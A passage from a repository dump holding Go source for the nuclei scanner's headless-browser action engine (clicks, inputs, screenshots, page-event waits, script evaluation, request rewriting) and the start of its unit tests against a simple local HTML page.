ActionRightClick:\n\t\t\terr = p.RightClickElement(act, outData)\n\t\tcase ActionTextInput:\n\t\t\terr = p.InputElement(act, outData)\n\t\tcase ActionScreenshot:\n\t\t\terr = p.Screenshot(act, outData)\n\t\tcase ActionTimeInput:\n\t\t\terr = p.TimeInputElement(act, outData)\n\t\tcase ActionSelectInput:\n\t\t\terr = p.SelectInputElement(act, outData)\n\t\tcase ActionWaitDOM:\n\t\t\tevent := proto.PageLifecycleEventNameDOMContentLoaded\n\t\t\terr = p.WaitPageLifecycleEvent(act, outData, event)\n\t\tcase ActionWaitFCP:\n\t\t\tevent := proto.PageLifecycleEventNameFirstContentfulPaint\n\t\t\terr = p.WaitPageLifecycleEvent(act, outData, event)\n\t\tcase ActionWaitFMP:\n\t\t\tevent := proto.PageLifecycleEventNameFirstMeaningfulPaint\n\t\t\terr = p.WaitPageLifecycleEvent(act, outData, event)\n\t\tcase ActionWaitIdle:\n\t\t\tevent := proto.PageLifecycleEventNameNetworkIdle\n\t\t\terr = p.WaitPageLifecycleEvent(act, outData, event)\n\t\tcase ActionWaitLoad:\n\t\t\tevent := proto.PageLifecycleEventNameLoad\n\t\t\terr = p.WaitPageLifecycleEvent(act, outData, event)\n\t\tcase ActionWaitStable:\n\t\t\terr = p.WaitStable(act, outData)\n\t\t// NOTE(dwisiswant0): Mapping `ActionWaitLoad` to `Page.WaitStable`,\n\t\t// just in case waiting for the `proto.PageLifecycleEventNameLoad` event\n\t\t// doesn't meet expectations.\n\t\t// case ActionWaitLoad, ActionWaitStable:\n\t\t// \terr = p.WaitStable(act, outData)\n\t\tcase ActionGetResource:\n\t\t\terr = p.GetResource(act, outData)\n\t\tcase ActionExtract:\n\t\t\terr = p.ExtractElement(act, outData)\n\t\tcase ActionWaitEvent:\n\t\t\tvar waitFunc func() error\n\t\t\twaitFunc, err = p.WaitEvent(act, outData)\n\t\t\tif waitFunc != nil {\n\t\t\t\twaitFuncs = append(waitFuncs, waitFunc)\n\t\t\t}\n\t\tcase ActionWaitDialog:\n\t\t\terr = p.HandleDialog(act, outData)\n\t\tcase ActionFilesInput:\n\t\t\tif p.options.Options.AllowLocalFileAccess {\n\t\t\t\terr = p.FilesInput(act, outData)\n\t\t\t} else {\n\t\t\t\terr = ErrLFAccessDenied\n\t\t\t}\n\t\tcase ActionAddHeader:\n\t\t\terr = p.ActionAddHeader(act, outData)\n\t\tcase ActionSetHeader:\n\t\t\terr = p.ActionSetHeader(act, outData)\n\t\tcase ActionDeleteHeader:\n\t\t\terr = p.ActionDeleteHeader(act, outData)\n\t\tcase ActionSetBody:\n\t\t\terr = p.ActionSetBody(act, outData)\n\t\tcase ActionSetMethod:\n\t\t\terr = p.ActionSetMethod(act, outData)\n\t\tcase ActionKeyboard:\n\t\t\terr = p.KeyboardAction(act, outData)\n\t\tcase ActionDebug:\n\t\t\terr = p.DebugAction(act, outData)\n\t\tcase ActionSleep:\n\t\t\terr = p.SleepAction(act, outData)\n\t\tcase ActionWaitVisible:\n\t\t\terr = p.WaitVisible(act, outData)\n\t\tdefault:\n\t\t\tcontinue\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"error occurred executing action\")\n\t\t}\n\t}\n\treturn outData, nil\n}\n\ntype rule struct {\n\t*sync.Once\n\tAction ActionType\n\tPart   string\n\tArgs   map[string]string\n}\n\n// WaitVisible waits until an element appears.\nfunc (p *Page) WaitVisible(act *Action, out ActionData) error {\n\ttimeout, err := getTimeout(p, act)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Wrong timeout given\")\n\t}\n\n\tpollTime, err := getTimeParameter(p, act, \"pollTime\", 100, time.Millisecond)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Wrong polling time given\")\n\t}\n\n\telement, _ := p.Sleeper(pollTime, timeout).\n\t\tTimeout(timeout).\n\t\tpageElementBy(act.Data)\n\n\tif element != nil {\n\t\tif err := element.WaitVisible(); err != nil {\n\t\t\treturn errors.Wrap(err, errElementDidNotAppear)\n\t\t}\n\t} else {\n\t\treturn errors.New(errElementDidNotAppear)\n\t}\n\n\treturn nil\n}\n\nfunc (p *Page) Sleeper(pollTimeout, timeout time.Duration) *Page {\n\tpage := *p\n\tpage.page = page.Page().Sleeper(func() utils.Sleeper {\n\t\treturn createBackOffSleeper(pollTimeout, timeout)\n\t})\n\treturn &page\n}\n\nfunc (p *Page) Timeout(timeout time.Duration) *Page {\n\tpage := *p\n\tpage.page = page.Page().Timeout(timeout)\n\treturn &page\n}\n\nfunc createBackOffSleeper(pollTimeout, timeout time.Duration) utils.Sleeper {\n\tbackoffSleeper := utils.BackoffSleeper(pollTimeout, timeout, func(duration time.Duration) time.Duration {\n\t\treturn duration\n\t})\n\n\treturn func(ctx context.Context) error {\n\t\tif ctx.Err() != nil {\n\t\t\treturn ctx.Err()\n\t\t}\n\n\t\treturn backoffSleeper(ctx)\n\t}\n}\n\nfunc getNavigationFunc(p *Page, act *Action, event proto.PageLifecycleEventName) (func(), error) {\n\tdur, err := getTimeout(p, act)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"Wrong timeout given\")\n\t}\n\n\tfn := p.page.Timeout(dur).WaitNavigation(event)\n\n\treturn fn, nil\n}\n\nfunc getTimeout(p *Page, act *Action) (time.Duration, error) {\n\treturn getTimeParameter(p, act, \"timeout\", 5, time.Second)\n}\n\n// getTimeParameter returns a time parameter from an action. It first tries to\n// get the parameter as an integer, then as a time.Duration, and finally falls\n// back to the default value (multiplied by the unit).\nfunc getTimeParameter(p *Page, act *Action, argName string, defaultValue, unit time.Duration) (time.Duration, error) {\n\targValue, err := p.getActionArg(act, argName)\n\tif err != nil {\n\t\treturn time.Duration(0), err\n\t}\n\n\tconvertedValue, err := strconv.Atoi(argValue)\n\tif err == nil {\n\t\treturn time.Duration(convertedValue) * unit, nil\n\t}\n\n\t// fallback to time.ParseDuration\n\tparsedTimeValue, err := time.ParseDuration(argValue)\n\tif err == nil {\n\t\treturn parsedTimeValue, nil\n\t}\n\n\treturn defaultValue * unit, nil\n}\n\n// ActionAddHeader executes a AddHeader action.\nfunc (p *Page) ActionAddHeader(act *Action, out ActionData) error {\n\targs := make(map[string]string)\n\n\tpart, err := p.getActionArg(act, \"part\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\targs[\"key\"], err = p.getActionArg(act, \"key\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\targs[\"value\"], err = p.getActionArg(act, \"value\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tp.rules = append(p.rules, rule{\n\t\tAction: ActionAddHeader,\n\t\tPart:   part,\n\t\tArgs:   args,\n\t})\n\n\treturn nil\n}\n\n// ActionSetHeader executes a SetHeader action.\nfunc (p *Page) ActionSetHeader(act *Action, out ActionData) error {\n\targs := make(map[string]string)\n\n\tpart, err := p.getActionArg(act, \"part\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\targs[\"key\"], err = p.getActionArg(act, \"key\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\targs[\"value\"], err = p.getActionArg(act, \"value\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tp.rules = append(p.rules, rule{\n\t\tAction: ActionSetHeader,\n\t\tPart:   part,\n\t\tArgs:   args,\n\t})\n\n\treturn nil\n}\n\n// ActionDeleteHeader executes a DeleteHeader action.\nfunc (p *Page) ActionDeleteHeader(act *Action, out ActionData) error {\n\targs := make(map[string]string)\n\n\tpart, err := p.getActionArg(act, \"part\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\targs[\"key\"], err = p.getActionArg(act, \"key\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tp.rules = append(p.rules, rule{\n\t\tAction: ActionDeleteHeader,\n\t\tPart:   part,\n\t\tArgs:   args,\n\t})\n\n\treturn nil\n}\n\n// ActionSetBody executes a SetBody action.\nfunc (p *Page) ActionSetBody(act *Action, out ActionData) error {\n\targs := make(map[string]string)\n\n\tpart, err := p.getActionArg(act, \"part\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\targs[\"body\"], err = p.getActionArg(act, \"body\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tp.rules = append(p.rules, rule{\n\t\tAction: ActionSetBody,\n\t\tPart:   part,\n\t\tArgs:   args,\n\t})\n\n\treturn nil\n}\n\n// ActionSetMethod executes an SetMethod action.\nfunc (p *Page) ActionSetMethod(act *Action, out ActionData) error {\n\targs := make(map[string]string)\n\n\tpart, err := p.getActionArg(act, \"part\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\targs[\"method\"], err = p.getActionArg(act, \"method\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tp.rules = append(p.rules, rule{\n\t\tAction: ActionSetMethod,\n\t\tPart:   part,\n\t\tArgs:   args,\n\t\tOnce:   &sync.Once{},\n\t})\n\n\treturn nil\n}\n\n// NavigateURL executes an ActionLoadURL actions loading a URL for the page.\nfunc (p *Page) NavigateURL(action *Action, out ActionData) error {\n\turl, err := p.getActionArg(action, \"url\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif url == \"\" {\n\t\treturn errinvalidArguments\n\t}\n\n\tparsedURL, err := urlutil.ParseURL(url, true)\n\tif err != nil {\n\t\treturn errkit.Newf(\"failed to parse url %v while creating http request\", url)\n\t}\n\n\t// ===== parameter automerge =====\n\t// while merging parameters first preference is given to target params\n\tfinalparams := parsedURL.Params.Clone()\n\tfinalparams.Merge(p.inputURL.Params.Encode())\n\tparsedURL.Params = finalparams\n\n\tif err := p.page.Navigate(parsedURL.String()); err != nil {\n\t\treturn errkit.Wrapf(err, \"could not navigate to url %s\", parsedURL.String())\n\t}\n\n\tp.updateLastNavigatedURL()\n\n\treturn nil\n}\n\n// RunScript runs a script on the loaded page\nfunc (p *Page) RunScript(act *Action, out ActionData) error {\n\tcode, err := p.getActionArg(act, \"code\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif code == \"\" {\n\t\treturn errinvalidArguments\n\t}\n\n\thook, err := p.getActionArg(act, \"hook\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif hook == \"true\" {\n\t\tif _, err := p.page.EvalOnNewDocument(code); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tdata, err := p.page.Eval(code)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif data != nil && act.Name != \"\" {\n\t\tout[act.Name] = data.Value.String()\n\t}\n\n\treturn nil\n}\n\n// ClickElement executes click actions for an element.\nfunc (p *Page) ClickElement(act *Action, out ActionData) error {\n\telement, err := p.pageElementBy(act.Data)\n\tif err != nil {\n\t\treturn errors.Wrap(err, errCouldNotGetElement)\n\t}\n\tif err = element.ScrollIntoView(); err != nil {\n\t\treturn errors.Wrap(err, errCouldNotScroll)\n\t}\n\tif err = element.Click(proto.InputMouseButtonLeft, 1); err != nil {\n\t\treturn errors.Wrap(err, \"could not click element\")\n\t}\n\treturn nil\n}\n\n// KeyboardAction executes a keyboard action on the page.\nfunc (p *Page) KeyboardAction(act *Action, out ActionData) error {\n\tkeys, err := p.getActionArg(act, \"keys\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn p.page.Keyboard.Type([]input.Key(keys)...)\n}\n\n// RightClickElement executes right click actions for an element.\nfunc (p *Page) RightClickElement(act *Action, out ActionData) error {\n\telement, err := p.pageElementBy(act.Data)\n\tif err != nil {\n\t\treturn errors.Wrap(err, errCouldNotGetElement)\n\t}\n\tif err = element.ScrollIntoView(); err != nil {\n\t\treturn errors.Wrap(err, errCouldNotScroll)\n\t}\n\tif err = element.Click(proto.InputMouseButtonRight, 1); err != nil {\n\t\treturn errors.Wrap(err, \"could not right click element\")\n\t}\n\treturn nil\n}\n\n// Screenshot executes screenshot action on a page\nfunc (p *Page) Screenshot(act *Action, out ActionData) error {\n\tto, err := p.getActionArg(act, \"to\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif to == \"\" {\n\t\tto = ksuid.New().String()\n\t\tif act.Name != \"\" {\n\t\t\tout[act.Name] = to\n\t\t}\n\t}\n\n\tvar data []byte\n\n\tfullpage, err := p.getActionArg(act, \"fullpage\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif fullpage == \"true\" {\n\t\tdata, err = p.page.Screenshot(true, &proto.PageCaptureScreenshot{})\n\t} else {\n\t\tdata, err = p.page.Screenshot(false, &proto.PageCaptureScreenshot{})\n\t}\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not take screenshot\")\n\t}\n\n\tto, err = fileutil.CleanPath(to)\n\tif err != nil {\n\t\treturn errkit.Newf(\"could not clean output screenshot path %s\", to)\n\t}\n\n\t// allow if targetPath is child of current working directory\n\tif !protocolstate.IsLfaAllowed(p.options.Options) {\n\t\tcwd, err := os.Getwd()\n\t\tif err != nil {\n\t\t\treturn errkit.Wrap(err, \"could not get current working directory\")\n\t\t}\n\n\t\tif !strings.HasPrefix(to, cwd) {\n\t\t\t// writing outside of cwd requires -lfa flag\n\t\t\treturn ErrLFAccessDenied\n\t\t}\n\t}\n\n\tmkdir, err := p.getActionArg(act, \"mkdir\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// edgecase create directory if mkdir=true and path contains directory\n\tif mkdir == \"true\" && stringsutil.ContainsAny(to, folderutil.UnixPathSeparator, folderutil.WindowsPathSeparator) {\n\t\t// creates new directory if needed based on path `to`\n\t\t// TODO: replace all permission bits with fileutil constants (https://github.com/projectdiscovery/utils/issues/113)\n\t\tif err := os.MkdirAll(filepath.Dir(to), 0700); err != nil {\n\t\t\treturn errkit.Wrap(err, \"failed to create directory while writing screenshot\")\n\t\t}\n\t}\n\n\t// actual file path to write\n\tfilePath := to\n\tif !strings.HasSuffix(filePath, \".png\") {\n\t\tfilePath += \".png\"\n\t}\n\n\tif fileutil.FileExists(filePath) {\n\t\t// return custom error as overwriting files is not supported\n\t\treturn errkit.Newf(\"failed to write screenshot, file %v already exists\", filePath)\n\t}\n\terr = os.WriteFile(filePath, data, 0540)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not write screenshot\")\n\t}\n\tgologger.Info().Msgf(\"Screenshot successfully saved at %v\\n\", filePath)\n\treturn nil\n}\n\n// InputElement executes input element actions for an element.\nfunc (p *Page) InputElement(act *Action, out ActionData) error {\n\tvalue, err := p.getActionArg(act, \"value\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif value == \"\" {\n\t\treturn errinvalidArguments\n\t}\n\telement, err := p.pageElementBy(act.Data)\n\tif err != nil {\n\t\treturn errors.Wrap(err, errCouldNotGetElement)\n\t}\n\tif err = element.ScrollIntoView(); err != nil {\n\t\treturn errors.Wrap(err, errCouldNotScroll)\n\t}\n\tif err = element.Input(value); err != nil {\n\t\treturn errors.Wrap(err, \"could not input element\")\n\t}\n\treturn nil\n}\n\n// TimeInputElement executes time input on an element\nfunc (p *Page) TimeInputElement(act *Action, out ActionData) error {\n\tvalue, err := p.getActionArg(act, \"value\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif value == \"\" {\n\t\treturn errinvalidArguments\n\t}\n\telement, err := p.pageElementBy(act.Data)\n\tif err != nil {\n\t\treturn errors.Wrap(err, errCouldNotGetElement)\n\t}\n\tif err = element.ScrollIntoView(); err != nil {\n\t\treturn errors.Wrap(err, errCouldNotScroll)\n\t}\n\tt, err := time.Parse(time.RFC3339, value)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not parse time\")\n\t}\n\tif err := element.InputTime(t); err != nil {\n\t\treturn errors.Wrap(err, \"could not input element\")\n\t}\n\treturn nil\n}\n\n// SelectInputElement executes select input statement action on a element\nfunc (p *Page) SelectInputElement(act *Action, out ActionData) error {\n\tvalue, err := p.getActionArg(act, \"value\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif value == \"\" {\n\t\treturn errinvalidArguments\n\t}\n\telement, err := p.pageElementBy(act.Data)\n\tif err != nil {\n\t\treturn errors.Wrap(err, errCouldNotGetElement)\n\t}\n\tif err = element.ScrollIntoView(); err != nil {\n\t\treturn errors.Wrap(err, errCouldNotScroll)\n\t}\n\n\tvar selectedBool bool\n\n\tselected, err := p.getActionArg(act, \"selected\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif selected == \"true\" {\n\t\tselectedBool = true\n\t}\n\n\tselector, err := p.getActionArg(act, \"selector\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := element.Select([]string{value}, selectedBool, selectorBy(selector)); err != nil {\n\t\treturn errors.Wrap(err, \"could not select input\")\n\t}\n\n\treturn nil\n}\n\n// WaitPageLifecycleEvent waits for specified page lifecycle event name\nfunc (p *Page) WaitPageLifecycleEvent(act *Action, out ActionData, event proto.PageLifecycleEventName) error {\n\tfn, err := getNavigationFunc(p, act, event)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfn()\n\n\t// log the navigated request (even if it is a redirect)\n\tp.updateLastNavigatedURL()\n\n\treturn nil\n}\n\n// WaitStable waits until the page is stable\nfunc (p *Page) WaitStable(act *Action, out ActionData) error {\n\tdur := time.Second // default stable page duration: 1s\n\n\ttimeout, err := getTimeout(p, act)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Wrong timeout given\")\n\t}\n\n\targDur := act.Data[\"duration\"]\n\tif argDur != \"\" {\n\t\tdur, err = time.ParseDuration(argDur)\n\t\tif err != nil {\n\t\t\tdur = time.Second\n\t\t}\n\t}\n\n\tif err := p.page.Timeout(timeout).WaitStable(dur); err != nil {\n\t\treturn err\n\t}\n\n\t// log the navigated request (even if it is a redirect)\n\tp.updateLastNavigatedURL()\n\n\treturn nil\n}\n\n// GetResource gets a resource from an element from page.\nfunc (p *Page) GetResource(act *Action, out ActionData) error {\n\telement, err := p.pageElementBy(act.Data)\n\tif err != nil {\n\t\treturn errors.Wrap(err, errCouldNotGetElement)\n\t}\n\tresource, err := element.Resource()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not get src for element\")\n\t}\n\tif act.Name != \"\" {\n\t\tout[act.Name] = string(resource)\n\t}\n\treturn nil\n}\n\n// FilesInput acts with a file input element on page\nfunc (p *Page) FilesInput(act *Action, out ActionData) error {\n\telement, err := p.pageElementBy(act.Data)\n\tif err != nil {\n\t\treturn errors.Wrap(err, errCouldNotGetElement)\n\t}\n\n\tif err = element.ScrollIntoView(); err != nil {\n\t\treturn errors.Wrap(err, errCouldNotScroll)\n\t}\n\n\tvalue, err := p.getActionArg(act, \"value\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tfilesPaths := strings.Split(value, \",\")\n\n\tif err := element.SetFiles(filesPaths); err != nil {\n\t\treturn errors.Wrap(err, \"could not set files\")\n\t}\n\n\treturn nil\n}\n\n// ExtractElement extracts from an element on the page.\nfunc (p *Page) ExtractElement(act *Action, out ActionData) error {\n\telement, err := p.pageElementBy(act.Data)\n\tif err != nil {\n\t\treturn errors.Wrap(err, errCouldNotGetElement)\n\t}\n\n\tif err = element.ScrollIntoView(); err != nil {\n\t\treturn errors.Wrap(err, errCouldNotScroll)\n\t}\n\n\ttarget, err := p.getActionArg(act, \"target\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch target {\n\tcase \"attribute\":\n\t\tattribute, err := p.getActionArg(act, \"attribute\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif attribute == \"\" {\n\t\t\treturn errors.New(\"attribute can't be empty\")\n\t\t}\n\n\t\tattrValue, err := element.Attribute(attribute)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not get attribute\")\n\t\t}\n\n\t\tif act.Name != \"\" {\n\t\t\tout[act.Name] = *attrValue\n\t\t}\n\tdefault:\n\t\ttext, err := element.Text()\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not get element text node\")\n\t\t}\n\n\t\tif act.Name != \"\" {\n\t\t\tout[act.Name] = text\n\t\t}\n\t}\n\treturn nil\n}\n\n// WaitEvent waits for an event to happen on the page.\nfunc (p *Page) WaitEvent(act *Action, out ActionData) (func() error, error) {\n\tevent, err := p.getActionArg(act, \"event\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif event == \"\" {\n\t\treturn nil, errors.New(\"event not recognized\")\n\t}\n\n\tvar waitEvent proto.Event\n\n\tgotType := proto.GetType(event)\n\tif gotType == nil {\n\t\treturn nil, errkit.Newf(\"event %q does not exist\", event)\n\t}\n\n\ttmp, ok := reflect.New(gotType).Interface().(proto.Event)\n\tif !ok {\n\t\treturn nil, errkit.Newf(\"event %q is not a page event\", event)\n\t}\n\n\twaitEvent = tmp\n\n\t// allow user to specify max-duration for wait-event\n\tmaxDuration, err := getTimeParameter(p, act, \"max-duration\", 5, time.Second)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Just wait the event to happen\n\twaitFunc := func() (err error) {\n\t\t// execute actual wait event\n\t\tctx, cancel := context.WithTimeoutCause(context.Background(), maxDuration, ErrActionExecDeadline)\n\t\tdefer cancel()\n\n\t\terr = contextutil.ExecFunc(ctx, p.page.WaitEvent(waitEvent))\n\n\t\treturn\n\t}\n\n\treturn waitFunc, nil\n}\n\n// HandleDialog handles JavaScript dialog (alert, confirm, prompt, or onbeforeunload).\nfunc (p *Page) HandleDialog(act *Action, out ActionData) error {\n\tmaxDuration, err := getTimeParameter(p, act, \"max-duration\", 10, time.Second)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tctx, cancel := context.WithTimeout(context.Background(), maxDuration)\n\tdefer cancel()\n\n\twait, handle := p.page.HandleDialog()\n\tfn := func() (*proto.PageJavascriptDialogOpening, error) {\n\t\tdialog := wait()\n\t\terr := handle(&proto.PageHandleJavaScriptDialog{\n\t\t\tAccept:     true,\n\t\t\tPromptText: \"\",\n\t\t})\n\n\t\treturn dialog, err\n\t}\n\n\tdialog, err := contextutil.ExecFuncWithTwoReturns(ctx, fn)\n\tif err == nil && act.Name != \"\" {\n\t\tout[act.Name] = true\n\t\tout[act.Name+\"_type\"] = string(dialog.Type)\n\t\tout[act.Name+\"_message\"] = dialog.Message\n\t}\n\n\treturn nil\n}\n\n// pageElementBy returns a page element from a variety of inputs.\n//\n// Supported values for by: r -> selector & regex, x -> xpath, js -> eval js,\n// search => query, default (\"\") => selector.\nfunc (p *Page) pageElementBy(data map[string]string) (*rod.Element, error) {\n\tby, ok := data[\"by\"]\n\tif !ok {\n\t\tby = \"\"\n\t}\n\tpage := p.page\n\n\tswitch by {\n\tcase \"r\", \"regex\":\n\t\treturn page.ElementR(data[\"selector\"], data[\"regex\"])\n\tcase \"x\", \"xpath\":\n\t\treturn page.ElementX(data[\"xpath\"])\n\tcase \"js\":\n\t\treturn page.ElementByJS(&rod.EvalOptions{JS: data[\"js\"]})\n\tcase \"search\":\n\t\telms, err := page.Search(data[\"query\"])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif elms.First != nil {\n\t\t\treturn elms.First, nil\n\t\t}\n\t\treturn nil, errors.New(\"no such element\")\n\tdefault:\n\t\treturn page.Element(data[\"selector\"])\n\t}\n}\n\n// DebugAction enables debug action on a page.\nfunc (p *Page) DebugAction(act *Action, out ActionData) error {\n\tp.instance.browser.engine.SlowMotion(5 * time.Second)\n\tp.instance.browser.engine.Trace(true)\n\treturn nil\n}\n\n// SleepAction sleeps on the page for a specified duration\nfunc (p *Page) SleepAction(act *Action, out ActionData) error {\n\tduration, err := getTimeParameter(p, act, \"duration\", 5, time.Second)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttime.Sleep(duration)\n\n\treturn nil\n}\n\n// selectorBy returns a selector from a representation.\nfunc selectorBy(selector string) rod.SelectorType {\n\tswitch selector {\n\tcase \"r\":\n\t\treturn rod.SelectorTypeRegex\n\tcase \"css\":\n\t\treturn rod.SelectorTypeCSSSector\n\tcase \"regex\":\n\t\treturn rod.SelectorTypeRegex\n\tdefault:\n\t\treturn rod.SelectorTypeText\n\t}\n}\n\nfunc (p *Page) getActionArg(action *Action, arg string) (string, error) {\n\tvar err error\n\n\targValue := action.GetArg(arg)\n\n\tif p.instance.interactsh != nil {\n\t\tvar interactshURLs []string\n\t\targValue, interactshURLs = p.instance.interactsh.Replace(argValue, p.InteractshURLs)\n\t\tp.addInteractshURL(interactshURLs...)\n\t}\n\n\texprs := getExpressions(argValue, p.variables)\n\n\terr = expressions.ContainsUnresolvedVariables(exprs...)\n\tif err != nil {\n\t\treturn \"\", errkit.Wrapf(err, \"argument %q, value: %q\", arg, argValue)\n\t}\n\n\targValue, err = expressions.Evaluate(argValue, p.variables)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"could not get value for argument %q: %s\", arg, err)\n\t}\n\n\treturn argValue, nil\n}\n"
  },
  {
    "path": "pkg/protocols/headless/engine/page_actions_test.go",
    "content": "package engine\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"math/rand\"\n\t\"net/http\"\n\t\"net/http/cookiejar\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils/testheadless\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\tenvutil \"github.com/projectdiscovery/utils/env\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\nfunc TestActionNavigate(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t<head>\n\t\t\t<title>Nuclei Test Page</title>\n\t\t</head>\n\t\t<body>\n\t\t\t<h1>Nuclei Test</h1>\n\t\t</body>\n\t</html>`\n\n\tactions := []*Action{{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}}, {ActionType: ActionTypeHolder{ActionType: ActionWaitLoad}}}\n\n\ttestHeadlessSimpleResponse(t, response, actions, 60*time.Second, func(page *Page, err error, out ActionData) {\n\t\trequire.Nilf(t, err, \"could not run page actions\")\n\t\trequire.NotNil(t, page, \"page should not be nil\")\n\t\tinfo, infoErr := page.Page().Info()\n\t\trequire.NoError(t, infoErr, \"could not fetch page info\")\n\t\trequire.Equal(t, \"Nuclei Test Page\", info.Title, \"could not navigate correctly\")\n\t})\n}\n\nfunc TestActionScript(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t<head>\n\t\t\t<title>Nuclei Test Page</title>\n\t\t</head>\n\t\t<body>Nuclei Test Page</body>\n\t\t<script>window.test = 'some-data';</script>\n\t</html>`\n\n\ttimeout := 180 * time.Second\n\n\tt.Run(\"run-and-results\", func(t *testing.T) {\n\t\tactions := []*Action{\n\t\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitLoad}},\n\t\t\t{ActionType: ActionTypeHolder{ActionType: ActionScript}, Name: \"test\", Data: map[string]string{\"code\": \"() => window.test\"}},\n\t\t}\n\n\t\ttestHeadlessSimpleResponse(t, response, actions, timeout, func(page *Page, err error, out ActionData) {\n\t\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\t\trequire.Equal(t, \"Nuclei Test Page\", page.Page().MustInfo().Title, \"could not navigate correctly\")\n\t\t\trequire.Equal(t, \"some-data\", out[\"test\"], \"could not run js and get results correctly\")\n\t\t})\n\t})\n\n\tt.Run(\"hook\", func(t *testing.T) {\n\t\tactions := []*Action{\n\t\t\t{ActionType: ActionTypeHolder{ActionType: ActionScript}, Data: map[string]string{\"code\": \"() => window.test = 'some-data';\", \"hook\": \"true\"}},\n\t\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitLoad}},\n\t\t\t{ActionType: ActionTypeHolder{ActionType: ActionScript}, Name: \"test\", Data: map[string]string{\"code\": \"() => window.test\"}},\n\t\t}\n\t\ttestHeadlessSimpleResponse(t, response, actions, timeout, func(page *Page, err error, out ActionData) {\n\t\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\t\trequire.Equal(t, \"Nuclei Test Page\", page.Page().MustInfo().Title, \"could not navigate correctly\")\n\t\t\trequire.Equal(t, \"some-data\", out[\"test\"], \"could not run js and get results correctly with js hook\")\n\t\t})\n\t})\n}\n\nfunc TestActionClick(t *testing.T) {\n\tresponse := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Nuclei Test Page</title>\n\t\t\t</head>\n\t\t\t<body>Nuclei Test Page</body>\n\t\t\t<button onclick='this.setAttribute(\"a\", \"ok\")'>click me</button>\n\t\t</html>`\n\n\tactions := []*Action{\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionNavigate}, Data: map[string]string{\"url\": \"{{BaseURL}}\"}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionWaitLoad}},\n\t\t{ActionType: ActionTypeHolder{ActionType: ActionClick}, Data: map[string]string{\"selector\": \"button\"}}, // Use css selector for clicking\n\t}\n\n\ttestHeadlessSimpleResponse(t, response, actions, 20*time.Second, func(page *Page, err error, out ActionData) {\n\t\trequire.Nil(t, err, \"could not run page actions\")\n\t\trequire.Equal(t, \"Nuclei Test Page\", page.Page().MustInfo().Title, \"could not navigate correctly\")\n\t\tel := page.Page().MustElement(\"button\")\n\t\tval := 